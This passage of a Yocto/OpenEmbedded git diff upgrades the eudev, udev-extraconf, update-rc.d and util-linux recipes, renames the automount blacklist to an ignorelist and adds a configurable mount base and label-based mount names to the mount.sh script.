-SUBSYSTEMS=="usb", KERNEL=="hiddev*", NAME="usb/%k"
-SUBSYSTEMS=="usb", KERNEL=="legousbtower*", NAME="usb/%k"
-SUBSYSTEMS=="usb", KERNEL=="lp[0-9]*", NAME="usb/%k"
-SUBSYSTEMS=="usb", KERNEL=="ttyUSB*", \
- ATTRS{product}=="Palm Handheld*|Handspring Visor|palmOne Handheld", \
- SYMLINK+="pilot"
-
-# usbfs-like devices
-SUBSYSTEM=="usb_device", PROGRAM="/bin/sh -c 'K=%k; K=$${K#usbdev}; printf bus/usb/%%03i/%%03i $${K%%%%.*} $${K#*.}'", ACTION=="add", \
- NAME="%c"
-SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", NAME="bus/usb/$env{BUSNUM}/$env{DEVNUM}"
-
-# serial devices
-KERNEL=="capi", NAME="capi20", SYMLINK+="isdn/capi20"
-KERNEL=="capi[0-9]*", NAME="capi/%n"
-
-# video devices
-KERNEL=="dvb*", PROGRAM="/bin/sh -c 'K=%k; K=$${K#dvb}; printf dvb/adapter%%i/%%s $${K%%%%.*} $${K#*.}", ACTION=="add", \
- NAME="%c"
-KERNEL=="card[0-9]*", NAME="dri/%k"
-
-# misc devices
-KERNEL=="hw_random", NAME="hwrng"
-KERNEL=="tun", NAME="net/%k"
-KERNEL=="evtchn", NAME="xen/%k"
-
-KERNEL=="cdemu[0-9]*", NAME="cdemu/%n"
-KERNEL=="pktcdvd[0-9]*", NAME="pktcdvd/%n"
-KERNEL=="pktcdvd", NAME="pktcdvd/control"
-
-KERNEL=="cpu[0-9]*", NAME="cpu/%n/cpuid"
-KERNEL=="msr[0-9]*", NAME="cpu/%n/msr"
-KERNEL=="microcode", NAME="cpu/microcode"
-
-KERNEL=="umad*", NAME="infiniband/%k"
-KERNEL=="issm*", NAME="infiniband/%k"
-KERNEL=="uverbs*", NAME="infiniband/%k"
-KERNEL=="ucm*", NAME="infiniband/%k"
-KERNEL=="rdma_ucm", NAME="infiniband/%k"
-
-# ALSA devices
-KERNEL=="controlC[0-9]*", NAME="snd/%k"
-KERNEL=="hwC[D0-9]*", NAME="snd/%k"
-KERNEL=="pcmC[D0-9cp]*", NAME="snd/%k"
-KERNEL=="midiC[D0-9]*", NAME="snd/%k"
-KERNEL=="timer", NAME="snd/%k"
-KERNEL=="seq", NAME="snd/%k"
-
-# ieee1394 devices
-KERNEL=="dv1394*", NAME="dv1394/%n"
-KERNEL=="video1394*", NAME="video1394/%n"
-
-# input devices
-KERNEL=="mice", NAME="input/%k"
-KERNEL=="mouse[0-9]*", NAME="input/%k"
-KERNEL=="event[0-9]*", NAME="input/%k"
-KERNEL=="js[0-9]*", NAME="input/%k"
-KERNEL=="ts[0-9]*", NAME="input/%k"
-KERNEL=="uinput", NAME="input/%k"
-
-# Zaptel
-KERNEL=="zapctl", NAME="zap/ctl"
-KERNEL=="zaptimer", NAME="zap/timer"
-KERNEL=="zapchannel", NAME="zap/channel"
-KERNEL=="zappseudo", NAME="zap/pseudo"
-KERNEL=="zap[0-9]*", NAME="zap/%n"
-
-# AOE character devices
-SUBSYSTEM=="aoe", KERNEL=="discover", NAME="etherd/%k"
-SUBSYSTEM=="aoe", KERNEL=="err", NAME="etherd/%k"
-SUBSYSTEM=="aoe", KERNEL=="interfaces", NAME="etherd/%k"
-SUBSYSTEM=="aoe", KERNEL=="revalidate", NAME="etherd/%k"
-
-# device mapper creates its own device nodes, so ignore these
-KERNEL=="dm-[0-9]*", OPTIONS+="ignore_device"
-KERNEL=="device-mapper", NAME="mapper/control"
-
-KERNEL=="rfcomm[0-9]*", NAME="%k", GROUP="users", MODE="0660"
-
-# Firmware Helper
-ACTION=="add", SUBSYSTEM=="firmware", RUN+="/lib/udev/firmware.sh"
-
-# Samsung UARTS
-KERNEL=="s3c2410_serial[0-9]", NAME="ttySAC%n"
-
-# MXC UARTs
-KERNEL=="ttymxc[0-4]", NAME="ttymxc%n"
-
diff --git a/meta/recipes-core/udev/eudev_3.2.14.bb b/meta/recipes-core/udev/eudev_3.2.14.bb
new file mode 100644
index 0000000000..18696679c8
--- /dev/null
+++ b/meta/recipes-core/udev/eudev_3.2.14.bb
@@ -0,0 +1,90 @@
+SUMMARY = "eudev is a fork of systemd's udev"
+HOMEPAGE = "https://github.com/eudev-project/eudev"
+DESCRIPTION = "eudev is Gentoo's fork of udev, systemd's device file manager for the Linux kernel. It manages device nodes in /dev and handles all user space actions when adding or removing devices."
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LICENSE:libudev = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+DEPENDS = "gperf-native"
+
+PROVIDES = "udev"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${BP}.tar.gz \
+ file://netifnames.patch \
+ file://init \
+ file://local.rules \
+ "
+
+SRC_URI[sha256sum] = "8da4319102f24abbf7fff5ce9c416af848df163b29590e666d334cc1927f006f"
+
+GITHUB_BASE_URI = "https://github.com/eudev-project/eudev/releases"
+
+inherit autotools update-rc.d qemu pkgconfig features_check manpages github-releases
+
+CONFLICT_DISTRO_FEATURES = "systemd"
+
+EXTRA_OECONF = " \
+ --sbindir=${base_sbindir} \
+ --with-rootlibdir=${base_libdir} \
+ --with-rootlibexecdir=${nonarch_base_libdir}/udev \
+ --with-rootprefix= \
+"
+
+PACKAGECONFIG ?= "blkid hwdb kmod \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'selinux', d)} \
+"
+PACKAGECONFIG[blkid] = "--enable-blkid,--disable-blkid,util-linux"
+PACKAGECONFIG[hwdb] = "--enable-hwdb,--disable-hwdb"
+PACKAGECONFIG[kmod] = "--enable-kmod,--disable-kmod,kmod"
+PACKAGECONFIG[manpages] = "--enable-manpages,--disable-manpages"
+PACKAGECONFIG[rule-generator] = "--enable-rule-generator,--disable-rule-generator"
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/udev
+ sed -i s%@UDEVD@%${base_sbindir}/udevd% ${D}${sysconfdir}/init.d/udev
+ sed -i s%@KMOD@%${base_bindir}/kmod% ${D}${sysconfdir}/init.d/udev
+
+ install -d ${D}${sysconfdir}/udev/rules.d
+ install -m 0644 ${WORKDIR}/local.rules ${D}${sysconfdir}/udev/rules.d/local.rules
+
+ # Use classic network interface naming scheme if no 'pni-names' distro feature
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'pni-names', 'false', 'true', d)}; then
+ touch ${D}${sysconfdir}/udev/rules.d/80-net-name-slot.rules
+ fi
+}
+
+do_install:prepend:class-target () {
+ # Remove references to buildmachine
+ sed -i -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ ${B}/src/udev/keyboard-keys-from-name.h
+}
+
+INITSCRIPT_NAME = "udev"
+INITSCRIPT_PARAMS = "start 04 S ."
+
+PACKAGE_BEFORE_PN = "libudev ${PN}-hwdb"
+
+FILES:${PN} += "${nonarch_base_libdir}/udev"
+FILES:libudev = "${base_libdir}/libudev.so.*"
+FILES:${PN}-hwdb = "${sysconfdir}/udev/hwdb.d"
+
+RDEPENDS:${PN}-hwdb += "eudev"
+RDEPENDS:${PN} += "kmod"
+
+RPROVIDES:${PN} = "hotplug udev"
+RPROVIDES:${PN}-hwdb += "udev-hwdb"
+
+PACKAGE_WRITE_DEPS += "qemu-native"
+pkg_postinst:${PN}-hwdb () {
+ if test -n "$D"; then
+ $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX}
+ else
+ udevadm hwdb --update
+ fi
+}
+
+pkg_prerm:${PN}-hwdb () {
+ rm -f $D${sysconfdir}/udev/hwdb.bin
+}
diff --git a/meta/recipes-core/udev/eudev_3.2.9.bb b/meta/recipes-core/udev/eudev_3.2.9.bb
deleted file mode 100644
index f96f8cbe78..0000000000
--- a/meta/recipes-core/udev/eudev_3.2.9.bb
+++ /dev/null
@@ -1,96 +0,0 @@
-SUMMARY = "eudev is a fork of systemd's udev"
-HOMEPAGE = "https://wiki.gentoo.org/wiki/Eudev"
-LICENSE = "GPLv2.0+ & LGPL-2.1+"
-LICENSE_libudev = "LGPL-2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-DEPENDS = "glib-2.0 glib-2.0-native gperf-native kmod libxslt-native util-linux"
-
-PROVIDES = "udev"
-
-SRC_URI = "https://dev.gentoo.org/~blueness/${BPN}/${BP}.tar.gz \
- file://0014-Revert-rules-remove-firmware-loading-rules.patch \
- file://Revert-udev-remove-userspace-firmware-loading-suppor.patch \
- file://devfs-udev.rules \
- file://init \
- file://links.conf \
- file://local.rules \
- file://permissions.rules \
- file://run.rules \
- file://udev.rules \
-"
-
-SRC_URI[md5sum] = "dedfb1964f6098fe9320de827957331f"
-SRC_URI[sha256sum] = "89618619084a19e1451d373c43f141b469c9fd09767973d73dd268b92074d4fc"
-
-inherit autotools update-rc.d qemu pkgconfig features_check
-
-CONFLICT_DISTRO_FEATURES = "systemd"
-
-EXTRA_OECONF = " \
- --sbindir=${base_sbindir} \
- --with-rootlibdir=${base_libdir} \
- --with-rootlibexecdir=${nonarch_base_libdir}/udev \
- --with-rootprefix= \
-"
-
-PACKAGECONFIG ??= "hwdb"
-PACKAGECONFIG[hwdb] = "--enable-hwdb,--disable-hwdb"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/udev
- sed -i s%@UDEVD@%${base_sbindir}/udevd% ${D}${sysconfdir}/init.d/udev
-
- install -d ${D}${sysconfdir}/udev/rules.d
- install -m 0644 ${WORKDIR}/local.rules ${D}${sysconfdir}/udev/rules.d/local.rules
-
- # Use classic network interface naming scheme
- touch ${D}${sysconfdir}/udev/rules.d/80-net-name-slot.rules
-
- # hid2hci has moved to bluez4. removed in udev as of version 169
- rm -f ${D}${base_libdir}/udev/hid2hci
-
- # duplicate udevadm for postinst script
- install -d ${D}${libexecdir}
- ln ${D}${bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
-}
-
-do_install_prepend_class-target () {
- # Remove references to buildmachine
- sed -i -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- ${B}/src/udev/keyboard-keys-from-name.h
-}
-
-INITSCRIPT_NAME = "udev"
-INITSCRIPT_PARAMS = "start 04 S ."
-
-PACKAGES =+ "libudev"
-PACKAGES =+ "eudev-hwdb"
-
-
-FILES_${PN} += "${libexecdir} ${nonarch_base_libdir}/udev ${bindir}/udevadm"
-FILES_${PN}-dev = "${datadir}/pkgconfig/udev.pc \
- ${includedir}/libudev.h ${libdir}/libudev.so \
- ${includedir}/udev.h ${libdir}/libudev.la \
- ${libdir}/libudev.a ${libdir}/pkgconfig/libudev.pc"
-FILES_libudev = "${base_libdir}/libudev.so.*"
-FILES_eudev-hwdb = "${sysconfdir}/udev/hwdb.d"
-
-RDEPENDS_eudev-hwdb += "eudev"
-
-RPROVIDES_${PN} = "hotplug udev"
-RPROVIDES_eudev-hwdb += "udev-hwdb"
-
-PACKAGE_WRITE_DEPS += "qemu-native"
-pkg_postinst_eudev-hwdb () {
- if test -n "$D"; then
- $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX}
- else
- udevadm hwdb --update
- fi
-}
-
-pkg_prerm_eudev-hwdb () {
- rm -f $D${sysconfdir}/udev/hwdb.bin
-}
diff --git a/meta/recipes-core/udev/udev-extraconf/mount.blacklist b/meta/recipes-core/udev/udev-extraconf/mount.ignorelist
index e49349428b..e49349428b 100644
--- a/meta/recipes-core/udev/udev-extraconf/mount.blacklist
+++ b/meta/recipes-core/udev/udev-extraconf/mount.ignorelist
diff --git a/meta/recipes-core/udev/udev-extraconf/mount.sh b/meta/recipes-core/udev/udev-extraconf/mount.sh
index b23731870e..c19e2aa68a 100644
--- a/meta/recipes-core/udev/udev-extraconf/mount.sh
+++ b/meta/recipes-core/udev/udev-extraconf/mount.sh
@@ -6,6 +6,7 @@
BASE_INIT="`readlink -f "@base_sbindir@/init"`"
INIT_SYSTEMD="@systemd_unitdir@/systemd"
+MOUNT_BASE="@MOUNT_BASE@"
if [ "x$BASE_INIT" = "x$INIT_SYSTEMD" ];then
# systemd as init uses systemd-mount to mount block devices
@@ -26,24 +27,44 @@ fi
PMOUNT="/usr/bin/pmount"
-for line in `grep -h -v ^# /etc/udev/mount.blacklist /etc/udev/mount.blacklist.d/*`
+for line in `grep -h -v ^# /etc/udev/mount.ignorelist /etc/udev/mount.ignorelist.d/*`
do
if [ ` expr match "$DEVNAME" "$line" ` -gt 0 ];
then
- logger "udev/mount.sh" "[$DEVNAME] is blacklisted, ignoring"
+ logger "udev/mount.sh" "[$DEVNAME] is marked to ignore"
exit 0
fi
done
+is_filesystem_supported() {
+ while read -r fs; do
+ if [ "${fs#nodev}" = "$1" ];
+ then
+ return 0
+ fi
+ done < "/proc/filesystems"
+ return 1
+}
+
automount_systemd() {
name="`basename "$DEVNAME"`"
# Skip already mounted partitions
- if [ -f /run/systemd/transient/run-media-$name.mount ]; then
- logger "mount.sh/automount" "/run/media/$name already mounted"
+ if [ -f /run/systemd/transient/$(echo $MOUNT_BASE | cut -d '/' -f 2- | sed 's#/#-#g')-*$name.mount ]; then
+ logger "mount.sh/automount" "$MOUNT_BASE/$name already mounted"
return
fi
+ # Get the unique name for mount point
+ get_label_name "${DEVNAME}"
+
+ # Only go for auto-mounting when the device has been cleaned up in remove
+ # or has not been identified yet
+ if [ -e "/tmp/.automount-$name" ]; then
+ logger "mount.sh/automount" "[$MOUNT_BASE/$name] is already cached"
+ return
+ fi
+
# Skip the partition which are already in /etc/fstab
grep "^[[:space:]]*$DEVNAME" /etc/fstab && return
for n in LABEL PARTLABEL UUID PARTUUID; do
@@ -53,7 +74,12 @@ automount_systemd() {
grep "^[[:space:]]*$tmp" /etc/fstab && return
done
- [ -d "/run/media/$name" ] || mkdir -p "/run/media/$name"
+ if ! is_filesystem_supported $ID_FS_TYPE; then
+ logger "mount.sh/automount" "Filesystem '$ID_FS_TYPE' on '${DEVNAME}' is unsupported"
+ return
+ fi
+
+ [ -d "$MOUNT_BASE/$name" ] || mkdir -p "$MOUNT_BASE/$name"
MOUNT="$MOUNT -o silent"
@@ -65,18 +91,20 @@ automount_systemd() {
;;
swap)
return ;;
+ lvm*|LVM*)
+ return ;;
# TODO
*)
;;
esac
- if ! $MOUNT --no-block -t auto $DEVNAME "/run/media/$name"
+ if ! $MOUNT --no-block -t auto $DEVNAME "$MOUNT_BASE/$name"
then
- #logger "mount.sh/automount" "$MOUNT -t auto $DEVNAME \"/run/media/$name\" failed!"
- rm_dir "/run/media/$name"
+ #logger "mount.sh/automount" "$MOUNT -t auto $DEVNAME \"$MOUNT_BASE/$name\" failed!"
+ rm_dir "$MOUNT_BASE/$name"
else
- logger "mount.sh/automount" "Auto-mount of [/run/media/$name] successful"
- touch "/tmp/.automount-$name"
+ logger "mount.sh/automount" "Auto-mount of [$MOUNT_BASE/$name] successful"
+ echo "$name" > "/tmp/.automount-$name"
fi
}
@@ -93,7 +121,17 @@ automount() {
# configured in fstab
grep -q "^$DEVNAME " /proc/mounts && return
- ! test -d "/run/media/$name" && mkdir -p "/run/media/$name"
+ # Get the unique name for mount point
+ get_label_name "${DEVNAME}"
+
+ # Only go for auto-mounting when the device has been cleaned up in remove
+ # or has not been identified yet
+ if [ -e "/tmp/.automount-$name" ]; then
+ logger "mount.sh/automount" "[$MOUNT_BASE/$name] is already cached"
+ return
+ fi
+
+ ! test -d "$MOUNT_BASE/$name" && mkdir -p "$MOUNT_BASE/$name"
# Silent util-linux's version of mounting auto
if [ "x`readlink $MOUNT`" = "x/bin/mount.util-linux" ] ;
then
@@ -108,18 +146,23 @@ automount() {
;;
swap)
return ;;
+ lvm*|LVM*)
+ return ;;
# TODO
*)
;;
esac
- if ! $MOUNT -t auto $DEVNAME "/run/media/$name"
+ if ! $MOUNT -t auto $DEVNAME "$MOUNT_BASE/$name"
then
- #logger "mount.sh/automount" "$MOUNT -t auto $DEVNAME \"/run/media/$name\" failed!"
- rm_dir "/run/media/$name"
+ #logger "mount.sh/automount" "$MOUNT -t auto $DEVNAME \"$MOUNT_BASE/$name\" failed!"
+ rm_dir "$MOUNT_BASE/$name"
else
- logger "mount.sh/automount" "Auto-mount of [/run/media/$name] successful"
- touch "/tmp/.automount-$name"
+ logger "mount.sh/automount" "Auto-mount of [$MOUNT_BASE/$name] successful"
+ # The actual device might not be present in the remove event so blkid cannot
+ # be used to calculate what name was generated here. Simply save the mount
+ # name in our tmp file.
+ echo "$name" > "/tmp/.automount-$name"
fi
}
@@ -133,6 +176,18 @@ rm_dir() {
fi
}
+get_label_name() {
+ # Get the LABEL or PARTLABEL
+ LABEL=`/sbin/blkid | grep "$1:" | grep -o 'LABEL=".*"' | cut -d '"' -f2`
+ # If the $DEVNAME has a LABEL or a PARTLABEL
+ if [ -n "$LABEL" ]; then
+ # Set the mount location dir name to LABEL appended
+ # with $name e.g. label-sda. That would avoid overlapping
+ # mounts in case two devices have same LABEL
+ name="${LABEL}-${name}"
+ fi
+}
+
# No ID_FS_TYPE for cdrom device, yet it should be mounted
name="`basename "$DEVNAME"`"
[ -e /sys/block/$name/device/media ] && media_type=`cat /sys/block/$name/device/media`
@@ -150,12 +205,18 @@ if [ "$ACTION" = "add" ] && [ -n "$DEVNAME" ] && [ -n "$ID_FS_TYPE" -o "$media_t
fi
if [ "$ACTION" = "remove" ] || [ "$ACTION" = "change" ] && [ -x "$UMOUNT" ] && [ -n "$DEVNAME" ]; then
- for mnt in `cat /proc/mounts | grep "$DEVNAME" | cut -f 2 -d " " `
- do
- $UMOUNT $mnt
- done
-
- # Remove empty directories from auto-mounter
name="`basename "$DEVNAME"`"
- test -e "/tmp/.automount-$name" && rm_dir "/run/media/$name"
+ tmpfile=`find /tmp | grep "\.automount-.*${name}$"`
+ if [ ! -e "/sys/$DEVPATH" -a -e "$tmpfile" ]; then
+ logger "mount.sh/remove" "cleaning up $DEVNAME, was mounted by the auto-mounter"
+ for mnt in `cat /proc/mounts | grep "$DEVNAME" | cut -f 2 -d " " `
+ do
+ $UMOUNT "`printf $mnt`"
+ done
+ # Remove mount directory created by the auto-mounter
+ # and clean up our tmp cache file
+ mntdir=`cat "$tmpfile"`
+ rm_dir "$MOUNT_BASE/$mntdir"
+ rm "$tmpfile"
+ fi
fi
diff --git a/meta/recipes-core/udev/udev-extraconf_1.1.bb b/meta/recipes-core/udev/udev-extraconf_1.1.bb
index 90f933d981..30f1fe76d0 100644
--- a/meta/recipes-core/udev/udev-extraconf_1.1.bb
+++ b/meta/recipes-core/udev/udev-extraconf_1.1.bb
@@ -1,13 +1,13 @@
SUMMARY = "Extra machine specific configuration files"
HOMEPAGE = "https://wiki.gentoo.org/wiki/Eudev"
-DESCRIPTION = "Extra machine specific configuration files for udev, specifically blacklist information."
+DESCRIPTION = "Extra machine specific configuration files for udev, specifically information on devices to ignore."
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = " \
file://automount.rules \
file://mount.sh \
- file://mount.blacklist \
+ file://mount.ignorelist \
file://autonet.rules \
file://network.sh \
file://localextra.rules \
@@ -15,6 +15,7 @@ SRC_URI = " \
S = "${WORKDIR}"
+MOUNT_BASE = "/run/media"
do_install() {
install -d ${D}${sysconfdir}/udev/rules.d
@@ -23,23 +24,35 @@ do_install() {
install -m 0644 ${WORKDIR}/autonet.rules ${D}${sysconfdir}/udev/rules.d/autonet.rules
install -m 0644 ${WORKDIR}/localextra.rules ${D}${sysconfdir}/udev/rules.d/localextra.rules
- install -d ${D}${sysconfdir}/udev/mount.blacklist.d
- install -m 0644 ${WORKDIR}/mount.blacklist ${D}${sysconfdir}/udev/
+ install -d ${D}${sysconfdir}/udev/mount.ignorelist.d
+ install -m 0644 ${WORKDIR}/mount.ignorelist ${D}${sysconfdir}/udev/
install -d ${D}${sysconfdir}/udev/scripts/
install -m 0755 ${WORKDIR}/mount.sh ${D}${sysconfdir}/udev/scripts/mount.sh
sed -i 's|@systemd_unitdir@|${systemd_unitdir}|g' ${D}${sysconfdir}/udev/scripts/mount.sh
sed -i 's|@base_sbindir@|${base_sbindir}|g' ${D}${sysconfdir}/udev/scripts/mount.sh
+ sed -i 's|@MOUNT_BASE@|${MOUNT_BASE}|g' ${D}${sysconfdir}/udev/scripts/mount.sh
install -m 0755 ${WORKDIR}/network.sh ${D}${sysconfdir}/udev/scripts
}
-FILES_${PN} = "${sysconfdir}/udev"
-RDEPENDS_${PN} = "udev"
-CONFFILES_${PN} = "${sysconfdir}/udev/mount.blacklist"
+pkg_postinst:${PN} () {
+ if [ -e $D${systemd_unitdir}/system/systemd-udevd.service ]; then
+ sed -i "/\[Service\]/aMountFlags=shared" $D${systemd_unitdir}/system/systemd-udevd.service
+ fi
+}
+
+pkg_postrm:${PN} () {
+ if [ -e $D${systemd_unitdir}/system/systemd-udevd.service ]; then
+ sed -i "/MountFlags=shared/d" $D${systemd_unitdir}/system/systemd-udevd.service
+ fi
+}
+
+RDEPENDS:${PN} = "udev util-linux-blkid ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'util-linux-lsblk', '', d)}"
+CONFFILES:${PN} = "${sysconfdir}/udev/mount.ignorelist"
# to replace udev-extra-rules from meta-oe
-RPROVIDES_${PN} = "udev-extra-rules"
-RREPLACES_${PN} = "udev-extra-rules"
-RCONFLICTS_${PN} = "udev-extra-rules"
+RPROVIDES:${PN} = "udev-extra-rules"
+RREPLACES:${PN} = "udev-extra-rules"
+RCONFLICTS:${PN} = "udev-extra-rules"
diff --git a/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb b/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb
index 75632d9434..ba622fe716 100644
--- a/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb
+++ b/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb
@@ -3,11 +3,11 @@ HOMEPAGE = "http://github.com/philb/update-rc.d/"
DESCRIPTION = "update-rc.d is a utility that allows the management of symlinks to the initscripts in the /etc/rcN.d directory structure."
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://update-rc.d;beginline=5;endline=15;md5=d40a07c27f535425934bb5001f2037d9"
-SRC_URI = "git://git.yoctoproject.org/update-rc.d"
-SRCREV = "4b150b25b38de688d25cde2b2d22c268ed65a748"
+SRC_URI = "git://git.yoctoproject.org/update-rc.d;branch=master;protocol=https"
+SRCREV = "b8f950105010270a768aa12245d6abf166346015"
UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/util-linux/util-linux-libuuid_2.39.3.bb b/meta/recipes-core/util-linux/util-linux-libuuid_2.39.3.bb
new file mode 100644
index 0000000000..ec04c1d384
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux-libuuid_2.39.3.bb
@@ -0,0 +1,19 @@
+# To allow util-linux to optionally build-depend on cryptsetup, libuuid is
+# split out of the main recipe, as it's needed by cryptsetup
+
+require util-linux.inc
+
+inherit autotools gettext pkgconfig
+
+S = "${WORKDIR}/util-linux-${PV}"
+
+EXTRA_AUTORECONF += "--exclude=gtkdocize"
+EXTRA_OECONF += "--disable-all-programs --enable-libuuid"
+
+LICENSE = "BSD-3-Clause"
+
+do_install:append() {
+ rm -rf ${D}${datadir} ${D}${bindir} ${D}${base_bindir} ${D}${sbindir} ${D}${base_sbindir} ${D}${exec_prefix}/sbin
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/util-linux/util-linux.inc b/meta/recipes-core/util-linux/util-linux.inc
index 06fbf7a229..d506783f9a 100644
--- a/meta/recipes-core/util-linux/util-linux.inc
+++ b/meta/recipes-core/util-linux/util-linux.inc
@@ -1,19 +1,20 @@
SUMMARY = "A suite of basic system administration utilities"
-HOMEPAGE = "http://userweb.kernel.org/~kzak/util-linux/"
+HOMEPAGE = "https://en.wikipedia.org/wiki/Util-linux"
DESCRIPTION = "Util-linux includes a suite of basic system administration utilities \
commonly found on most Linux systems. Some of the more important utilities include \
disk partitioning, kernel message management, filesystem creation, and system login."
SECTION = "base"
-LICENSE = "GPLv2+ & LGPLv2.1+ & BSD-3-Clause & BSD-4-Clause"
-LICENSE_${PN}-libblkid = "LGPLv2.1+"
-LICENSE_${PN}-libfdisk = "LGPLv2.1+"
-LICENSE_${PN}-libmount = "LGPLv2.1+"
-LICENSE_${PN}-libsmartcols = "LGPLv2.1+"
-LICENSE_${PN}-libuuid = "BSD-3-Clause"
+LICENSE = "GPL-1.0-or-later & GPL-2.0-or-later & LGPL-2.1-or-later & BSD-2-Clause & BSD-3-Clause & BSD-4-Clause & MIT"
+LICENSE:${PN}-fcntl-lock = "MIT"
+LICENSE:${PN}-fdisk = "GPL-1.0-or-later"
+LICENSE:${PN}-libblkid = "LGPL-2.1-or-later"
+LICENSE:${PN}-libfdisk = "LGPL-2.1-or-later"
+LICENSE:${PN}-libmount = "LGPL-2.1-or-later"
+LICENSE:${PN}-libsmartcols = "LGPL-2.1-or-later"
-LIC_FILES_CHKSUM = "file://README.licensing;md5=0fd5c050c6187d2bf0a4492b7f4e33da \
+LIC_FILES_CHKSUM = "file://README.licensing;md5=cc80239f106687ab39ef0271ff5cf4ba \
file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://Documentation/licenses/COPYING.GPL-2.0-or-later;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://Documentation/licenses/COPYING.LGPL-2.1-or-later;md5=4fbd65380cdd255951079008b364516c \
@@ -24,325 +25,21 @@ LIC_FILES_CHKSUM = "file://README.licensing;md5=0fd5c050c6187d2bf0a4492b7f4e33da
file://libblkid/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
file://libfdisk/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
file://libsmartcols/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
-"
-
-#gtk-doc is not enabled as it requires xmlto which requires util-linux
-inherit autotools gettext manpages pkgconfig systemd update-alternatives python3-dir bash-completion ptest
-DEPENDS = "libcap-ng ncurses virtual/crypt zlib"
+ "
+FILESEXTRAPATHS:prepend := "${THISDIR}/util-linux:"
MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:2])}"
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/${BPN}/v${MAJOR_VERSION}/${BP}.tar.xz \
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/util-linux/v${MAJOR_VERSION}/util-linux-${PV}.tar.xz \
+ file://mit-license.patch \
+ file://configure-sbindir.patch \
+ file://runuser.pamd \
+ file://runuser-l.pamd \
+ file://ptest.patch \
+ file://run-ptest \
+ file://display_testname_for_subtest.patch \
+ file://avoid_parallel_tests.patch \
+ file://0001-login-utils-include-libgen.h-for-basename-API.patch \
+ file://fcntl-lock.c \
"
-PACKAGES =+ "${PN}-swaponoff"
-PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pylibmount', '${PN}-pylibmount', '', d)}"
-
-python util_linux_binpackages () {
- def pkg_hook(f, pkg, file_regex, output_pattern, modulename):
- pn = d.getVar('PN')
- d.appendVar('RRECOMMENDS_%s' % pn, ' %s' % pkg)
-
- if d.getVar('ALTERNATIVE_' + pkg):
- return
- if d.getVarFlag('ALTERNATIVE_LINK_NAME', modulename):
- d.setVar('ALTERNATIVE_' + pkg, modulename)
-
- bindirs = sorted(list(set(d.expand("${base_sbindir} ${base_bindir} ${sbindir} ${bindir}").split())))
- for dir in bindirs:
- do_split_packages(d, root=dir,
- file_regex=r'(.*)', output_pattern='${PN}-%s',
- description='${PN} %s',
- hook=pkg_hook, extra_depends='')
-
- # There are some symlinks for some binaries which we have ignored
- # above. Add them to the package owning the binary they are
- # pointing to
- extras = {}
- dvar = d.getVar('PKGD')
- for root in bindirs:
- for walkroot, dirs, files in os.walk(dvar + root):
- for f in files:
- file = os.path.join(walkroot, f)
- if not os.path.islink(file):
- continue
-
- pkg = os.path.basename(os.readlink(file))
- extras[pkg] = extras.get(pkg, '') + ' ' + file.replace(dvar, '', 1)
-
- pn = d.getVar('PN')
- for pkg, links in extras.items():
- of = d.getVar('FILES_' + pn + '-' + pkg)
- links = of + links
- d.setVar('FILES_' + pn + '-' + pkg, links)
-}
-
-# we must execute before update-alternatives PACKAGE_PREPROCESS_FUNCS
-PACKAGE_PREPROCESS_FUNCS =+ "util_linux_binpackages "
-
-python util_linux_libpackages() {
- do_split_packages(d, root=d.getVar('UTIL_LINUX_LIBDIR'), file_regex=r'^lib(.*)\.so\..*$',
- output_pattern='${PN}-lib%s',
- description='${PN} lib%s',
- extra_depends='', prepend=True, allow_links=True)
-}
-
-PACKAGESPLITFUNCS =+ "util_linux_libpackages"
-
-PACKAGES_DYNAMIC = "^${PN}-.*"
-
-CACHED_CONFIGUREVARS += "scanf_cv_alloc_modifier=ms"
-UTIL_LINUX_LIBDIR = "${libdir}"
-UTIL_LINUX_LIBDIR_class-target = "${base_libdir}"
-EXTRA_OECONF = "\
- --enable-libuuid --enable-libblkid \
- \
- --enable-fsck --enable-kill --enable-last --enable-mesg \
- --enable-mount --enable-partx --enable-raw --enable-rfkill \
- --enable-unshare --enable-write \
- \
